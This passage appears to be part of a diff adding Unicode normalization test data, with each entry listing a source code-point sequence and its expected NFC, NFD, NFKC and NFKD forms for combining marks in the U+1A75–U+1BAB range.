+{ source: [0x0061, 0x1A75, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A76, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A76, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A76, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A76, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A76, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A76, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A77, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A77, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A77, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A77, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A77, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A77, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A78, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A78, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A78, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A78, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A78, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A78, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A79, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A79, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A79, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A79, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A79, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A79, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1A7F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1A7F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB7, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB7, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB8, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB8, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1AB9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1AB9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1AB9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1ABA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1ABA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1ABA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ABB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ABB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ABB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ABB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ABB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ABB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ABC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ABC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ABC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ABC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ABC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ABC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1ABD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1ABD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1ABD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x1B34, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x1B34, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x1B34, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x1B34, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x1B34, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1B34, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x1B34, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x1B34, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x1B34, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x1B34, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1B44, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1B44, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1B6C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1B6C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1B6C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1B6C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B70, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B70, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B70, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B70, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B70, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B70, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B71, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B71, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B71, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B71, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B71, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B71, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B72, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B72, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B72, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B72, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B72, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B72, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B73, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B73, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B73, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B73, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B73, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B73, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BAA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BAA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BAB, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062] },
